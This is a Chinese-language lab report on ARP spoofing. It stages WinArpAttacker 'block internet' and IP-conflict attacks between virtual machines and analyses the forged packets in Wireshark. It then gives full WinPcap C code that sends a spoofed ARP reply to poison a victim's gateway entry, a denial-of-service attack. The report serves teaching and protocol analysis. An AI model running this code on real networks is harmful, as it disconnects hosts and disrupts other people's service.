目录
总言
一、工具攻击
(一)目的
(二)平台及工具
(三)步骤及结果分析
1、准备工作
2、禁止上网攻击
3、定时IP冲突攻击
4、不断IP冲突攻击
5、总结
二、编码实现
(一)方案
(二)步骤及结果分析
1、建立工程、并配置winpcap。
2、查看宿主机和虚拟机IP地址和MAC地址。
3、代码:
4、攻击效果
5、结果分析
首先使用攻击工具进行攻击,根据抓包结果,分析ARP欺骗实验的原理。然后根据原理,进行编码实现ARP欺骗攻击。
一、工具攻击
运行WinArpAttacker或Ettercap,扫描在线主机,对目标主机进行“禁止上网”、“IP冲突”等攻击,查看目标主机状态,通过WireShark等抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理。
VMware、WinArpAttacker、WireShark。
本次工具攻击在VMware的两个桥接模式的虚拟机(虚拟机一和虚拟机二)上完成。在一台虚拟机上通过WinArpAttacker对另一台虚拟机进行了“禁止上网”、“定时IP冲突攻击”和“不断IP冲突”攻击,并通过WireShark抓包工具捕获ARP欺骗攻击的数据包,根据结果对ARP攻击的原理进行了分析。
启动虚拟机,打开命令行程序cmd.exe,用ipconfig命令查看虚拟机IP信息,并用ping命令检测两个虚拟机能否正常通信。操作结果及其说明如下图所示:
图一
图二
由图一和图二可知:
1、虚拟机一的IP地址是:10.28.227.235;子网掩码是255.255.128.0;默认网关是:10.28.128.1。虚拟机二的IP地址是:
10.28.131.228;子网掩码是255.255.128.0;默认网关是:10.28.128.1。
2、由子网掩码和IP地址可知,两个虚拟机在同一网段。
3、由ping命令的执行结果可知,两台虚拟机器能够相互通信。
(1)打开虚拟机二上的winArpAttacker,扫描指定网段找到虚拟机一,准备对其进行攻击。打开虚拟机一上的wireshark抓包工具,在过滤器输入框中输入“arp”,准备抓取ARP包。具体操作如下图所示:
图三
图四
图五
对于图三,由于虚拟机一的IP地址已知,所有可以在特定网段或者对特定IP地址进行扫描。对于图四,在扫描结果中选定要攻击的目标。对于图五,在Filter中输入arp来抓取固定类型的数据包。
(2)在winArpAttacker中选择“禁止上网”攻击,对被攻击机器的wireshark抓包工具的抓包结果进行分析。具体操作效果如下图。
图六
图七
图八
对于图六,在受到“禁止上网”攻击之后,抓包工具抓到两个ARP欺骗包:“10.28.277.235 is at 01:01:01:01:01:01”和“10.28.128.1 is at 01:01:01:01:01:01”。其中01:01:01:01:01:01是一个不存在的MAC地址。所以这两个ARP欺骗数据包所描述的被攻击主机和网关的MAC地址是不存在的MAC地址。但由于ARP协议的无状态和无确认机制,被攻击主机和网关会把错误的IP/MAC映射更新到自己的ARP缓存中,从而造成被攻击主机和网关无法通信。其详细分析如下。
对于图七,Target MAC是00:0c:29:c5:a2:63,即被攻击主机。Sender MAC address是01:01:01:01:01:01(不存在的MAC地址)、Sender IP address是10.28.128.1(网关地址)。所以,被攻击主机会把错误的映射10.28.128.1/01:01:01:01:01:01写入ARP缓存,从而使被攻击主机无法发送数据包到网关。
对于图八,Target MAC是74:85:c4:11:20:01,即默认网关。Sender MAC address是01:01:01:01:01:01(不存在的MAC地址)、Sender IP address是10.28.227.235(被攻击主机的地址)。所以,网关会把错误的映射10.28.227.235/01:01:01:01:01:01写入ARP缓存,从而使网关无法向被攻击的主机发送数据包。
(1)winArpAttacker的扫描、被攻击主机的wireshark的设置与上面相同,不再赘述。
(2)在winArpAttacker中选择“定时IP冲突”攻击,对被攻击机器的wireshark抓包工具的抓包结果进行分析。具体操作效果如下图。
图九
图十
对于图九,在受到定时IP冲突之后,被攻击主机系统桌面弹出“IP地址与网络上的其他系统有冲突”的系统错误警告。抓包工具抓到一个“Gratuitous ARP for 10.28.227.235(Reply)”。意思是被攻击主机收到一个“非法”的ARP回复数据包。其具体内容如图十所示。
对于图十,攻击工具给被攻击主机发送了一个欺骗ARP数据包,其Sender MAC address是01:01:01:01:01:01,Sender IP address是10.28.227.235。因此,被攻击主机要把此映射更新到自己地ARP缓存。因为被攻击主机IP是10.28.227.235,MAC地址是00:0c:29:c5:a2:63,与ARP数据包内容不符,所以被攻击主机在更新ARP缓存的同时,错误地认为自己的IP和网络上的另一个系统的IP冲突。
不断IP冲突工具的效果如下:
图十一
在受到不断IP冲突攻击之后,被攻击主机连续收到大量“Gratuitous ARP for 10.28.227.235(Reply)”,其与定时IP冲突攻击的区别是,定时IP冲突只收到一个ARP欺骗数据包,而连续IP冲突是连续收到大量的ARP欺骗数据包。
综上,ARP欺骗攻击利用ARP协议无状态和无确认机制的特点,通过向被攻击主机发送错误的网关IP/MAC映射(MAC地址不存在)、向网关发送错误的被攻击主机的IP/MAC映射(MAC地址不存在)等手段,实现目标主机的禁止上网、IP冲突等攻击。
本程序基于winpcap,实现ARP Reply Spoofing攻击。其具体的实现思路是,构造虚假的ARP响应数据包,其协议地址是网关IP,MAC地址是不存在的虚假地址,将此欺骗数据包发送给欲欺骗主机,那么主机就会将错误内容更新到自己的ARP缓存,所以主机向网关发送的数据包都将会丢失,从而实现了拒绝服务攻击。
(1)打开“项目属性->配置属性->c/c++->预处理器->预处理器定义”,在其中添加WPCAP和HAVE_REMOTE这两个宏定义。
(2)在“项目属性->配置属性->链接器->输入->附加依赖项”添加wpcap.lib库。
(3)在“项目属性->配置属性->VC++目录->包含目录”和“…->库目录”分别添加之前解压的WinPcap开发包Include目录和Lib目录路径。
(1)结构体定义
typedef struct _eth_header {
unsigned char dst_mac[MAC_LEN];
unsigned char src_mac[MAC_LEN];
unsigned short type;
} ETH_HEADER;
typedef struct _arp_header {
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_len;
unsigned char protocol_len;
unsigned short option;
unsigned char src_mac[MAC_LEN];
unsigned long src_ip;
unsigned char dst_mac[MAC_LEN];
unsigned long dst_ip;
}ARP_HEADER;
typedef struct _arp_packet {
ETH_HEADER eth_header;
ARP_HEADER arp_header;
}ARP_PACKET;
(2)攻击的实现
#include
using namespace std;
#include
#include
#pragma comment(lib,"ws2_32.lib")
void InitARPHeader(u_char*);
const char* srcip = "10.28.193.3";
u_char SRC_MAC[MAC_LEN] = {0x58,0x00,0xE3,0xF2,0x51,0x4F };//58-00-E3-F2-51-4F
const char* victimip = "10.28.184.218";
u_char VICTIM_MAC[MAC_LEN] = { 0x00,0x0C,0x29,0xC5,0xA2,0x63 };//00-0C-29-C5-A2-63
const char* getwayip = "10.28.128.1";
u_char FAKE_MAC[MAC_LEN] = { 0x01,0x01,0x01,0x01,0x01,0x01 };
int main()
{
pcap_t* fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[100];
pcap_if_t* alldevs;
pcap_if_t* d;
int inum;
int i = 0;
/* 检测网卡 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印网卡 */
for (d = alldevs; d; d = d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return 1;
}
printf("Enter the interface number (1-%d):", i);
scanf("%d", &inum);
if (inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* 释放 */
pcap_freealldevs(alldevs);
return 2;
}
/* 选择 */
for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++);
/* 打开输出设备 */
if ((fp = pcap_open_live(d->name, // name of the device
100, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
return 3;
}
else {
printf("打开成功!\n");
}
//把以太网头复制到缓冲区
for (int i = 0;i < 6;i++) packet[i] = VICTIM_MAC[i];
for (int i = 6;i < 12;i++) packet[i] = SRC_MAC[i-6];
packet[12] = 0x08;
packet[13] = 0x06;
//填充ARP头的部分
InitARPHeader(packet + 14);
//填充剩余部分
for (int i = 42; i < 100; i++)
{
packet[i] = i ;
}
for(int i=0;i<100;i++)
cout << hex << (int)packet[i] << " ";
cout << endl;
/* 发送数据包 */
if (pcap_sendpacket(fp, packet, 42) != 0)
{
fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
return 3;
}
printf("发送成功!\n");
return 4;
}
void InitARPHeader(u_char* tmpBuf) {
ARP_HEADER arp_header;
int arpsize = sizeof(ARP_HEADER);
arp_header.src_ip = inet_addr(getwayip);
for (int i = 0;i < 6;i++) arp_header.src_mac[i] = FAKE_MAC[i];
arp_header.dst_ip = inet_addr(victimip);
for (int i = 0;i < 6;i++) arp_header.dst_mac[i] = VICTIM_MAC[i];
arp_header.hardware_type = htons(0x0001);
arp_header.protocol_type = htons(0x0800);
arp_header.hardware_len = 6;
arp_header.protocol_len = 4;
arp_header.option =htons(0x0002);
memcpy(tmpBuf, &arp_header.hardware_type, 2);
memcpy(tmpBuf+2, &arp_header.protocol_type, 2);
memcpy(tmpBuf + 4, &arp_header.hardware_len, 1);
memcpy(tmpBuf + 5, &arp_header.protocol_len, 1);
memcpy(tmpBuf + 6, &arp_header.option, 2);
memcpy(tmpBuf + 8, &arp_header.src_mac, 6);
memcpy(tmpBuf + 14, &arp_header.src_ip, 4);
memcpy(tmpBuf + 18, &arp_header.dst_mac, 6);
memcpy(tmpBuf + 24, &arp_header.dst_ip, 4);
}
如上图,在ARP协议报文中,Sender MAC address是01:01:01:01:01:01、Sender IP address是10.28.128.1。又知10.28.128.1是网关地址,01:01:01:01:01:01是不存在的MAC地址。
所以,被攻击虚拟机会把错误的映射10.28.128.1/01:01:01:01:01:01写入ARP缓存。换句话说,这条ARP欺骗报数据包使被攻击主机把错误的网关IP/MAC地址映射写入了ARP缓存,从而使数据包无法发送到网关,进而实现拒绝服务攻击。